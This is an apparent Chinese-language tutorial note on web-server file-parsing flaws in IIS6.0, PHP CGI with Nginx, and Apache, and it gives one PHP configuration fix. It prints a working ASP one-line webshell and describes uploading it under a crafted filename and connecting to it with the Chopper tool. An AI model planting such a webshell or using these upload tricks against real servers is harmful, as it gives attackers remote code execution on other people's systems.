IIS6.0解析漏洞
在IIS6.0下存在這樣的文件“名字.asp;名字.jpg”
代表了jpg文件可以以asp腳本類型的文件執行。
根據這個解析漏洞我們可以上傳這種名字類型的圖片,比如
1.asp;xxx.jpg 他會忽略;后邊的內容,所以文件相當于1.asp
asp一句話木馬
<%eval request ("pass")%>
找到上傳的路徑后,可以直接用菜刀連接。如果對文件內容檢測,就得使用圖片馬了。
有時候他會把這個上傳文件的目錄設置為不可執行,那樣就完了
iis6.0還存在一個解析漏洞,在以“名字.asp”的文件夾里面,里面的文件會以asp腳本運行。管理員不會蠢到建立這么一個文件夾,所以你得能建立并且把馬傳到這個很蠢的文件夾上邊。
至今(2018年7月28日11:38:03),這兩個漏洞還沒有補丁。
PHP CGI漏洞
訪問ip/web目錄/1.jpg/1.php(1.php實際不存在,只存在1.jpg)會導致1.jpg以php文件形式執行。
新建個jpg,編輯文檔的方式寫入php代碼,然后訪問
一切都是因為這個配置,在php.ini里面:cgi.fix_pathinfo=1 ,
等于1即是開啟,當訪問上邊的目錄是,Nginx看到最后的/1.php并不會先判斷1.php是否存在,會直接交給php處理,php中的cgi.fix_pathinfo的原因,會把1.jpg當做名字叫做1.jpg/1.php這樣一個php文件。
這個不是Nginx的漏洞,是php的毛病,解析文件時,IIS7.0也是如此。
解決辦法:在php配置文件里,只允許php文件執行。不過在較高版本的php-fpm.conf的security.limit_extensions設置只執行php php3 php4 phtml。我在windows安裝的phpstudy上死活沒找到這個配置文件,于是到linux上截了個圖。
Apache1.x/2.x解析漏洞
Apache從右向左解析文件,如果不認識就向左挪,比如
1.php.abc是個的文件, abc類型的apache不認識,因此就會被解析為php文件,相當于1.php
Apache認識的文件類型在conf目錄下的mime.types文件中